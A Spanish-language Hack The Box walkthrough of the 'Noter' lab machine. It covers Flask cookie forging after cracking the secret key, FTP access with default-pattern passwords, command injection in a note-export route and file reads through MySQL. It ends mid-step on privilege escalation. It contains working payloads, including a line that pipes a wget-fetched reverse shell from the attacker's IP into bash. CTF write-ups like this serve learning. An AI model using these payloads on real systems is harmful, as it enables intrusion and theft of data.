This page looks best with JavaScript enabled

Hack The Box - Noter

Noter presenta un sitio web por donde obtuvimos acceso tras crackear y modificar la cookie de flask, con la información que encontramos en el sitio logramos ingresar por FTP donde descubrimos un backup, lo que nos permitió descubrir una vulnerabilidad Command Injection con la cual accedimos a la máquina. Finalmente logramos leer la flag root utilizando MySQL y acceso como root con User-Defined Functions.

Nombre Noter box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.160
Maker

kavigihan

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6, 5.6, 5.7, 4.3, 4.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[4, 5, 9, 1, 5],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), ssh (22), ftp (21).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Mon May  9 21:36:06 2022 as: nmap -p21,22,5000 -sV -sC -oN nmap_scan 10.10.11.160
Nmap scan report for 10.10.11.160 (10.10.11.160)
Host is up (0.072s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  9 21:36:17 2022 -- 1 IP address (1 host up) scanned in 11.40 seconds

Web Site

Los headers del sitio muestran Werkzeug en su version 2.0.2.

1
2
3
4
5
6
7
8
 π ~/htb/noter ❯ curl -sI 10.10.11.160:5000
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1972
Server: Werkzeug/2.0.2 Python/3.8.10
Date: Tue, 10 May 2022 01:36:39 GMT

 π ~/htb/noter ❯

El sitio web describe que es una aplicación para tomar Notas.

image

Directory Brute Forcing

feroxbuster muestra multiples direcciones, dos de ellas para registro y login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/search ❯ feroxbuster -u http://10.10.11.160:5000/ -w $MD --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.160:5000/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.5.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       67l      106w     1963c http://10.10.11.160:5000/login
200      GET       95l      152w     2642c http://10.10.11.160:5000/register
302      GET        4l       24w      218c http://10.10.11.160:5000/notes => http://10.10.11.160:5000/login
302      GET        4l       24w      218c http://10.10.11.160:5000/logout => http://10.10.11.160:5000/login
302      GET        4l       24w      218c http://10.10.11.160:5000/dashboard => http://10.10.11.160:5000/login
[####################] - 43s     4613/4613    0s      found:5       errors:0
[####################] - 43s     4613/4613    107/s   http://10.10.11.160:5000/
 π ~/htb/search ❯

Noter

Tras registrar un usuario en la aplicación vemos dos opciones, agregar nota y actualizar a VIP. Además se muestra una tabla para las notas.

image

Agregamos una nota la cual podemos eliminar y editar.

image

Tambien se muestra la nota en /notes.

image

XSS

Tras intentar diferentes vulnerabilidades, encontramos una vulnerabilidad XSS. Observamos que el contenido es mostrado dentro de un <textarea></textarea>.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<h1>Title</h1>
  <small>Written by user on Sat May 14 03:50:40 2022</small>
  <hr>
  <div>
    <style type="text/css">
      textarea {
        border: none;
        outline: none;
      }
    </style>
    <textarea class="body" rows="30" cols="180" readonly>

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod  
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,  
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo  
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse  
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non  
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.


  
    </textarea>
  </div>

Editamos el cuerpo de la nota donde cerramos el textarea para luego agregar un alert.

1
2
3
4
</textarea>
<script>
alert('XSS')
</script>

Tras visitar la nota se muestra la alerta. Sin embargo el XSS no nos llevo a ninguna parte.

image

Web User - Blue

Vemos que la cookie es un token JWT donde observamos el nombre del usuario.

image

Tambien, tras realizar logout vemos que la cookie cambia y se muestra flashes con el tipo de mensaje (success) y el mensaje. Al estar corriendo Werkzeug podriamos decir que es una aplicación Flask o Django.

image

Flask Unsign

HackTricks sugiere la herramienta Flask-Unsign para modificar, craftear o realizar ataque de fuerza bruta y encontrar la Secret KEY para la “session” de Flask.

Instalamos flask-unsign utilizando pip.

1
pip3 install flask-unsign

Con el wordlist rockyou logramos encontrar la secret key: secret123.

1
2
3
4
5
6
 π ~/htb/noter ❯ python3 -m flask_unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidXNlciJ9.YnnysQ.O-aueBDiwkw5_52IE3KkT18vgxQ' --wordlist $ROCK --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'user'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'
 π ~/htb/noter ❯

Enum Users

Con la secret key encontrada podemos craftear una session utilizando la misma estructura de la session decodificada, sin embargo no tenemos algun nombre de usuario con el cual autenticarnos. Para ello creamos un script python que utiliza flask_unsign para enumerar nombres de usuario utilizando una session.

Tras ejecutar el script con el wordlist de SecList - Usernames encontramos al usuario ‘blue’.

1
2
3
4
5
 π ~/htb/noter ❯ python brute_user.py ../search/xato-net-10-million-usernames.txt
[+] Progress:  Found User -> blue

[*]  Cookie -> {'session': 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yn8gig.CedZfYO0S_ctqlesN_YncNPb_aM'}
 π ~/htb/noter ❯

Web Access

Tras reemplazar la cookie, vemos dos opciones nuevas para Exportar e Importar Notas.

image

Observamos una nueva Nota donde menciona que tenemos acceso por FTP con las credenciales que se mencionan (blue : blue@Noter!), además vemos el nombre de usuario ftp_admin.

image

FTP Access

FTP - Blue

Tras ingresar con las credenciales por FTP encontramos un archivo PDF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 π ~/htb/noter ❯ ftp
ftp> o 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36129|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24 20:59 policy.pdf
226 Directory send OK.
ftp> cd files
l250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||51983|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||30237|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |*********************************************************************************************************************************************| 12569      828.90 KiB/s    00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (83.52 KiB/s)
ftp> exit
221 Goodbye.
 π ~/htb/noter ❯ file policy.pdf
policy.pdf: PDF document, version 1.4, 0 pages
 π ~/htb/noter ❯

El archivo PDF contiene la politica de contraseñas; protección, antigüedad y creación de estas.

image

En una de las definiciones encontramos que por default las contraseñas lleva el nombre del usuario y el nombre del sitio. En este caso tendríamos el caso del usuario blue que tiene la contraseña blue@Noter!, donde blue es el usuario y Noter el nombre del sitio web.

1
Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)

FTP - ftp_admin

Si realizamos esto mismo con el usuario ftp_admin tendriamos las siguientes credenciales.

1
ftp_admin : ftp_admin@Noter!

Logramos ingresar por ftp con las credenciales. Encontramos dos archivos zip que tienen nombre de backup.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 π ~/htb/noter ❯ ftp
ftp> o 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
229 Entering Extended Passive Mode (|||64224|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        1003         4096 May 02 23:05 .
drwxr-xr-x    2 0        1003         4096 May 02 23:05 ..
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01 05:52 app_backup_1638395546.zip
226 Directory send OK.
ftp> pwd
Remote directory: /
ftp> get app_backup_1635803546.zip
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
229 Entering Extended Passive Mode (|||36436|)
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
100% |***********************************************| 25559       48.27 KiB/s    00:00 ETA
226 Transfer complete.
25559 bytes received in 00:00 (27.81 KiB/s)
ftp> get app_backup_1638395546.zip
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
229 Entering Extended Passive Mode (|||56174|)
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
100% |***********************************************************************************************************************************************| 26298      228.62 KiB/s    00:00 ETA
226 Transfer complete.
26298 bytes received in 00:00 (68.21 KiB/s)
ftp>

User - svc

Source Code - Noter

Tras extraer ambos archivos en carpetas separadas y ejecutar diff, encontramos una diferencia en las credenciales de MySQL, observamos la contraseña para el usuario root de MySQL. Además se muestran las rutas para exportar e importar notas, local y externamente.

1
2
3
4
5
6
7
8
 π ~/htb/noter/ftp ❯ diff app_backup_1635803546 app_backup_1638395546
diff --color app_backup_1635803546/app.py app_backup_1638395546/app.py
17,18c17,18
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
> app.config['MYSQL_USER'] = 'DB_user'
> app.config['MYSQL_PASSWORD'] = 'DB_password'

Command Injection

Iniciamos analizando la más reciente versión del codigo fuente, donde vemos la ruta export_note, unicamente pueden acceder los usuarios con el rol VIP. Se muestran las notas de cada usuario en el template export_note.html.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Export notes
@app.route('/export_note', methods=['GET', 'POST'])
@is_logged_in
def export_note():
    if check_VIP(session['username']):
        try:
            cur = mysql.connection.cursor()

            # Get note
            result = cur.execute("SELECT * FROM notes WHERE author = %s", ([session['username']]))

            notes = cur.fetchall()

            if result > 0:
                return render_template('export_note.html', notes=notes)
            else:
                msg = 'No notes Found'
                return render_template('export_note.html', msg=msg)
            # Close connection
            cur.close()
                
        except Exception as e:
            return render_template('export_note.html', error="An error occured!")

    else:
        abort(403)

Vemos que dicho template tiene distintas opciones, exportar la nota localmente a PDF y exportar remotamente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{% extends 'layout.html' %}

{% block body %}
  <h1>Export Notes</h1>
  <h3>Export an existing Note</h3><br>
  <ul class="list-group">
    {% for note in notes %}
      <li class="list-group-item">
        <a href="note/{{note.id}}">{{note.title}}</a>
      </li>
        <a class="btn btn-success" href="/export_note_local/{{note.id}}"> Export to PDF</a>

    {% endfor %}
  </ul>
  <hr style="background-color: #000000; height: 2px; width: 100%;">

  <h3>Export directly from cloud</h3><br>
    <div class="form-group">
      <form action='/export_note_remote' method="POST">
      <label>URL</label>
      <input type="text" name="url" class="form-control" value={{request.form.url}}>
        <button type="submit" class="btn btn-success">Export</button>
      </form>
    </div>
    <br>
    <br>
{% endblock %}

Vemos en la ruta para exportar localmente que acepta un id que es utilizado para obtener la nota de la base de datos y, utilizando el cuerpo de la nota como argumento se lo pasa a md-to-pdf.js junto con un numero random, esto crearía un comando que luego es ejecutado, y el archivo PDF es retornado al usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Export local
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
    if check_VIP(session['username']):

        cur = mysql.connection.cursor()

        result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))

        if result > 0:
            note = cur.fetchone()

            rand_int = random.randint(1,10000)
            command = f"node misc/md-to-pdf.js  $'{note['body']}' {rand_int}"
            subprocess.run(command, shell=True, executable="/bin/bash")
        
            return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)

        else:
            return render_template('dashboard.html')
    else:
        abort(403)

Sin embargo tras intentar exportar localmente una nota el servidor nos muestra un error interno.

image

En la ruta para exportar remotamente encontramos una función que verifica que la url sea válida y que termine con la extensión .md. En el caso aceptado toma el cuerpo de la solicitud como argumento y crea un comando que luego es ejecutado al igual que la anterior ruta, seguidamente retorna el PDF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# parse the URL
def parse_url(url):
    url = url.lower()
    if not url.startswith ("http://" or "https://"):
        return False, "Invalid URL"

    if not url.endswith('.md'):
            return False, "Invalid file type"

    return True, None

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                try:
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
                    subprocess.run(command, shell=True, executable="/bin/bash")

                    if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

                        return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

                    else:
                        return render_template('export_note.html', error="Error occured while exporting the !")

                except Exception as e:
                    return render_template('export_note.html', error="Error occured!")


            else:
                return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
            
        except Exception as e:
            return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

    else:
        abort(403)

Si observamos más de cerca es posible realizar un “bypass” e inyectar commandos.

1
2
command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")

Si revisamos el archivo .js vemos que no tiene ningun tipo de filtro.

1
2
3
4
5
const { mdToPdf } = require('md-to-pdf');

(async () => {
await mdToPdf({ content: process.argv[2] }, { dest: './misc/attachments/' + process.argv[3] + '.pdf'});
})();

En este caso tendriamos un cuerpo de nuestra solicitud como '| id # y el comando que sería ejecutado estaría de la siguiente forma.

1
node misc/md-to-pdf.js  $''|id # ' 12348987

Creamos un archivo .md con el ‘bypass’ para ejecutar un ping a nuestra máquina.

1
2
3
 π ~/htb/noter/www ❯ cat note0.md
'| ping -c 2 10.10.14.207 # 
 π ~/htb/noter/www ❯

Enviamos la dirección url con la nota y obtuvimos una solicitud por parte de la máquina.

1
2
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.160 - - [15/May/2022 23:20:02] "GET /note0.md HTTP/1.1" 200 -

En otra consola obtuvimos multiples pings.

1
2
3
4
5
6
7
 π ~/htb/noter ❯ sudo tcpdump -i tun1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun1, link-type RAW (Raw IP), snapshot length 262144 bytes
23:21:49.179615 IP 10.10.11.160 > 10.10.14.207: ICMP echo request, id 3, seq 1, length 64
23:21:49.179632 IP 10.10.14.207 > 10.10.11.160: ICMP echo reply, id 3, seq 1, length 64
23:21:50.186280 IP 10.10.11.160 > 10.10.14.207: ICMP echo request, id 3, seq 2, length 64
23:21:50.186341 IP 10.10.14.207 > 10.10.11.160: ICMP echo reply, id 3, seq 2, length 64

Shell

Ejecutamos shells en el puerto 8080 (config/default.json) y creamos una solicitud con wget para ejecutar una shell inversa.

1
'| wget -qO- 10.10.14.207:8080/10.10.14.207:1338 | bash #

Tras enviar la url logramos obtener una shell como svc y obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 π ~/htb/noter ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from 10.10.11.160 [10.10.11.160] 47198
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash");'
svc@noter:~/app/web$ whoami;id;pwd
svc
uid=1001(svc) gid=1001(svc) groups=1001(svc)
/home/svc/app/web
svc@noter:~/app/web$ ls 
app
temp
user.txt
svc@noter:~/app/web$ cat user.txt
9ee715a75a4810327bca2bad9f18dc97
svc@noter:~/app/web$ 

Privesc

Tras enumerar los archivos de la máquina encontramos backup.sh el cual realiza un backup de la carpeta /app/web o Noter, aunque segun parece el directorio donde es guardado no existe, además no tenemos permisos de escritura dentro de esta carpeta (/app/web).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
svc@noter:/opt$ ls
backup.sh
svc@noter:/opt$ ls -lah backup.sh
-rwxr--r-- 1 root root 137 Dec 30 09:41 backup.sh
svc@noter:/opt$ cat backup.sh
#!/bin/bash
zip -r `echo /home/svc/ftp/admin/app_backup_$(date +%s).zip` /home/svc/app/web/* -x /home/svc/app/web/misc/node_modules/**\*
svc@noter:/opt$ cd
svc@noter:~$ ls ftp/admin/
ls: cannot access 'ftp/admin/': No such file or directory
svc@noter:~$ ls -ld app/web/
drwxr-xr-x 4 root root 4096 May  2 23:05 app/web/
svc@noter:~$

Observamos que el puerto 3306 de MySQL está abierto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
svc@noter:~/app/web$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1266/python3
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
svc@noter:~/app/web$

Read The Flag

Tras autenticarnos en MySQL con las credenciales encontradas, vemos que el usuario actual es root, si tomamos en cuenta que el usuario root de la máquina está ejecutando MySQL podríamos leer archivos por este medio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
svc@noter:~$ mysql -u root -p  # Nildogg36
Password: Nildogg36

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 7015
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>  STATUS;
--------------
mysql  Ver 15.1 Distrib 10.3.32-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2

Connection id:      7063
Current database:   
Current user:       root@localhost
SSL:            Not in use
Current pager:      stdout
Using outfile:      ''
Using delimiter:    ;
Server:         MariaDB
Server version:     10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Protocol version:   10
Connection:     Localhost via UNIX socket
Server characterset:    utf8mb4
Db     characterset:    utf8mb4
Client characterset:    utf8mb4
Conn.  characterset:    utf8mb4
UNIX socket:        /var/run/mysqld/mysqld.sock
Uptime:         2 hours 31 min 17 sec

Threads: 10  Questions: 37514  Slow queries: 0  Opens: 1231  Flush tables: 1  Open tables: 8  Queries per second avg: 4.132
--------------
MariaDB [(none)]>

Observamos las bases de datos vemos la base de datos test.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| app                |
| information_schema |
| mysql              |
| performance_schema |
| test               |
+--------------------+
5 rows in set (0.001 sec)

MariaDB [(none)]> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [test]>

Creamos una tabla para almacenar archivos e insertamos la información de /etc/passwd, vemos que se agrego a la tabla.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
MariaDB [test]> CREATE TABLE test ( file blob);
Query OK, 0 rows affected (0.005 sec)
MariaDB [test]>
CREATE TABLE test ( file blob);
MariaDB [test]> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 38 rows affected (0.004 sec)
Records: 38  Deleted: 0  Skipped: 0  Warnings: 0

MariaDB [test]> select * from test;
+-------------------------------------------------------------------------------------------+
| file                                                                                      |
+-------------------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash                                                           |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                           |
| bin:x:2:2:bin:/bin:/usr/sbin/nologin                                                      |
| sys:x:3:3:sys:/dev:/usr/sbin/nologin                                                      |
| sync:x:4:65534:sync:/bin:/bin/sync                                                        |
| games:x:5:60:games:/usr/games:/usr/sbin/nologin                                           |
| man:x:6:12:man:/var/cache/man:/usr/sbin/nologin                                           |
| lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin                                              |
| mail:x:8:8:mail:/var/mail:/usr/sbin/nologin                                               |
| news:x:9:9:news:/var/spool/news:/usr/sbin/nologin                                         |
| uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin                                       |
| proxy:x:13:13:proxy:/bin:/usr/sbin/nologin                                                |
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin                                      |
| backup:x:34:34:backup:/var/backups:/usr/sbin/nologin                                      |
| list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin                             |
| irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin                                          |
| gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin         |
| nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin                                |
| systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin    |
| systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin              |
| systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin |
| messagebus:x:103:106::/nonexistent:/usr/sbin/nologin                                      |
| syslog:x:104:110::/home/syslog:/usr/sbin/nologin                                          |
| _apt:x:105:65534::/nonexistent:/usr/sbin/nologin                                          |
| tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false                               |
| uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin                                             |
| tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin                                         |
| landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin                                 |
| pollinate:x:110:1::/var/cache/pollinate:/bin/false                                        |
| usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin                        |
| sshd:x:112:65534::/run/sshd:/usr/sbin/nologin                                             |
| systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin                        |
| lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false                                        |
| svc:x:1001:1001:,,,:/home/svc:/bin/bash                                                   |
| ftp:x:113:118:ftp daemon,,,:/home/svc/ftp/:/usr/sbin/nologin                              |
| mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false                                   |
| ftp_admin:x:1003:1003::/srv/ftp/ftp_admin:/sbin/nologin                                   |
| blue:x:1002:1002::/srv/ftp/blue:/sbin/nologin                                             |
+-------------------------------------------------------------------------------------------+
38 rows in set (0.001 sec)

MariaDB [test]>

Realizamos lo mismo para la flag root.txt, sabiendo su ruta logramos obtener su contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
MariaDB [test]>
load data infile "/root/root.txt" into table test FIELDS TERMINATED BY '\n';
Query OK, 1 row affected (0.002 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0

MariaDB [test]> select * from test;
+-------------------------------------------------------------------------------------------+
| file                                                                                      |
+-------------------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash                                                           |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                           |
[.. snip ..]
| blue:x:1002:1002::/srv/ftp/blue:/sbin/nologin                                             |
| 35f7b82498ba82872f11ad7e3b5c114f                                                          | <<<<----- 
+-------------------------------------------------------------------------------------------+
39 rows in set (0.001 sec)

MariaDB [test]>

Intentamos crear el archivo authorized_keys con nuestra clave publica pero no fue posible, al parecer dicho archivo ya existe.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
svc@noter:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/svc/.ssh/id_rsa):

Created directory '/home/svc/.ssh'.
Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /home/svc/.ssh/id_rsa
Your public key has been saved in /home/svc/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UsTo71zvGuDhl8X6Jp3lFAtpYoGRHW02niSC3cpIRIY svc@noter
The key's randomart image is:
+---[RSA 3072]----+
|     ++=o*.o     |
|    E.+.* = *    |
|     o o.o B +   |
|      o.o o.* .  |
|      ..S. oo. o |
|       +.o.+  +  |
|       oo.=o =   |
|        o..o= .  |
|          .=o    |
+----[SHA256]-----+
svc@noter:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/kmriBBdSTD8rd7ZWhQ/7gedJ+kCyBPyLcfLCukSwh6fXpvo4greAH02kZ4/jsfN87n39lKfLvHEcYmhTfuVyWApNYwMh4amPO7ej5MKo/P23ltpXSXwh8VSSxTA411Xxkd8jqwTX69QD0Y28vtNsDNU0vcnJQWB+OBhJWdui4b8nvIYuwuLi2pEhEdm1KUB2nLEI4KCtc/Kp8yZtxCV8605jJLQ2GtA88zC9TpovVIezXQy1rjwArgQaFbaV54orZOAklBbHJwm7DmozDZEFS/b5xI+8ydLLYHLPcYxgrU/anqtv7MudygBQ4TK8jCt4oQy/P7SbmYOkKaVbvPaZk0i8CquZ1ZNQzHH9/khAzUNfSBKSxVxBuouDUhQ6D0qWI7O9Ze/k072BqDexcJWnB9Vb4/hRACoiiThvYODLqfgkP5wkVjm6zDUvpygObsya9BJwIU/98lZJUvoakLedEZWjrPILZYuprMkJzvwq+Ld3mNwkkgX7OdUWi47m60E= svc@noter
svc@noter:~$

Al parecer por seguridad mysql no permite escribir dentro de archivos existentes.

1
2
3
4
